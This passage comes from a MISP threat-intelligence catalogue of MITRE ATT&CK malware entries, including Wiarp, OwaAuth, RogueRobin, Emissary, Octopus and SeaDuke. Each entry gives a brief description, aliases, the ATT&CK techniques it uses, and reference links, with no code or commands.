- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="ListPlanting - T1055.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5259. Table References

Links
https://attack.mitre.org/software/S0260
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

Wiarp - S0206

[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)

The tag is: *misp-galaxy:mitre-malware="Wiarp - S0206"*

Wiarp - S0206 is also known as:

- Wiarp

View relationships graph

Wiarp - S0206 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5260. Table References

Links
https://attack.mitre.org/software/S0206
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99

OwaAuth - S0072

[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-

3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)

The tag is: *misp-galaxy:mitre-malware="OwaAuth - S0072"*

OwaAuth - S0072 is also known as:

- OwaAuth

View relationships graph

OwaAuth - S0072 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5261. Table References

Links
https://attack.mitre.org/software/S0072
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

RogueRobin - S0270

[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)

The tag is: *misp-galaxy:mitre-malware="RogueRobin - S0270"*

RogueRobin - S0270 is also known as:

- RogueRobin

View relationships graph

RogueRobin - S0270 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with

estimative-language:likelihood-probability="almost-certain"

Table 5262. Table References

Links
https://attack.mitre.org/software/S0270
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/

Vasport - S0207

[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)

The tag is: *misp-galaxy:mitre-malware="Vasport - S0207"*

Vasport - S0207 is also known as:

- Vasport

View relationships graph

Vasport - S0207 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5263. Table References

Links
https://attack.mitre.org/software/S0207
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99

Zeroaccess - S0027

[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)

The tag is: *misp-galaxy:mitre-malware="Zeroaccess - S0027"*

View relationships graph

Zeroaccess - S0027 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 5264. Table References

Links
https://attack.mitre.org/software/S0027
https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf

SHIPSHAPE - S0028

[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="SHIPSHAPE - S0028"*

View relationships graph

SHIPSHAPE - S0028 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 5265. Table References

Links
https://attack.mitre.org/software/S0028
https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf

Emissary - S0082

[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)

The tag is: *misp-galaxy:mitre-malware="Emissary - S0082"*

Emissary - S0082 is also known as:

- Emissary

View relationships graph

Emissary - S0082 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5266. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/
https://attack.mitre.org/software/S0082

MirageFox - S0280

[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)

The tag is: *misp-galaxy:mitre-malware="MirageFox - S0280"*

MirageFox - S0280 is also known as:

- MirageFox

View relationships graph

MirageFox - S0280 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5267. Table References

Links
https://attack.mitre.org/software/S0280
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

Pasam - S0208

[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)

The tag is: *misp-galaxy:mitre-malware="Pasam - S0208"*

Pasam - S0208 is also known as:

- Pasam

View relationships graph

Pasam - S0208 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5268. Table References

Links
https://attack.mitre.org/software/S0208
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99

Darkmoon - S0209

The tag is: *misp-galaxy:mitre-malware="Darkmoon - S0209"*

View relationships graph

Darkmoon - S0209 has relationships with:

- similar: misp-galaxy:malpedia="Darkmoon" with estimative-language:likelihood-probability="likely"
- revoked-by: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

Table 5269. Table References

Links
https://attack.mitre.org/software/S0209

Gooligan - S0290

[Gooligan](https://attack.mitre.org/software/S0290) is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. [Gooligan](https://attack.mitre.org/software/S0290) has been described as part of the Ghost Push Android malware family. (Citation: Gooligan Citation) (Citation: Ludwig-GhostPush) (Citation: Lookout-Gooligan)

The tag is: *misp-galaxy:mitre-malware="Gooligan - S0290"*

Gooligan - S0290 is also known as:

- Gooligan
- Ghost Push

View relationships graph

Gooligan - S0290 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 5270. Table References

Links
http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/
https://attack.mitre.org/software/S0290
https://blog.lookout.com/blog/2016/12/01/ghost-push-gooligan/
https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi

MazarBOT - S0303

[MazarBOT](https://attack.mitre.org/software/S0303) is Android malware that was distributed via SMS in Denmark in 2016. (Citation: Tripwire-MazarBOT)

The tag is: *misp-galaxy:mitre-malware="MazarBOT - S0303"*

MazarBOT - S0303 is also known as:

- MazarBOT

View relationships graph

MazarBOT - S0303 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Carrier Billing Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5271. Table References

Links
https://attack.mitre.org/software/S0303
https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/

NetTraveler - S0033

[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)

The tag is: *misp-galaxy:mitre-malware="NetTraveler - S0033"*

NetTraveler - S0033 is also known as:

- NetTraveler

View relationships graph

NetTraveler - S0033 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="NetTraveler" with estimative-language:likelihood-probability="likely"

Table 5272. Table References

Links
http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf
https://attack.mitre.org/software/S0033

BUBBLEWRAP - S0043

[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)

The tag is: *misp-galaxy:mitre-malware="BUBBLEWRAP - S0043"*

BUBBLEWRAP - S0043 is also known as:

- BUBBLEWRAP
- Backdoor.APT.FakeWinHTTPHelper

View relationships graph

BUBBLEWRAP - S0043 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5273. Table References

Links
https://attack.mitre.org/software/S0043
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

NETEAGLE - S0034

[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="NETEAGLE - S0034"*

NETEAGLE - S0034 is also known as:

- NETEAGLE

View relationships graph

NETEAGLE - S0034 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="NETEAGLE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5274. Table References

Links
https://attack.mitre.org/software/S0034
https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf

Octopus - S0340

[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)

The tag is: *misp-galaxy:mitre-malware="Octopus - S0340"*

Octopus - S0340 is also known as:

- Octopus

View relationships graph

Octopus - S0340 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5275. Table References

Links
https://attack.mitre.org/software/S0340
https://securelist.com/octopus-infested-seas-of-central-asia/88200/
https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html
https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf

Riltok - S0403

[Riltok](https://attack.mitre.org/software/S0403) is banking malware that uses phishing popups to collect user credentials.(Citation: Kaspersky Riltok June 2019)

The tag is: *misp-galaxy:mitre-malware="Riltok - S0403"*

Riltok - S0403 is also known as:

- Riltok

View relationships graph

Riltok - S0403 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5276. Table References

Links
https://attack.mitre.org/software/S0403
https://securelist.com/mobile-banker-riltok/91374/

SPACESHIP - S0035

[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="SPACESHIP - S0035"*

SPACESHIP - S0035 is also known as:

- SPACESHIP

View relationships graph

SPACESHIP - S0035 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"

Table 5277. Table References

Links
https://attack.mitre.org/software/S0035
https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf

SeaDuke - S0053

[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="SeaDuke - S0053"*

SeaDuke - S0053 is also known as:

- SeaDuke
- SeaDaddy
- SeaDesk

View relationships graph

SeaDuke - S0053 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="SEADADDY" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5278. Table References

Links
https://attack.mitre.org/software/S0053
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

FrameworkPOS - S0503

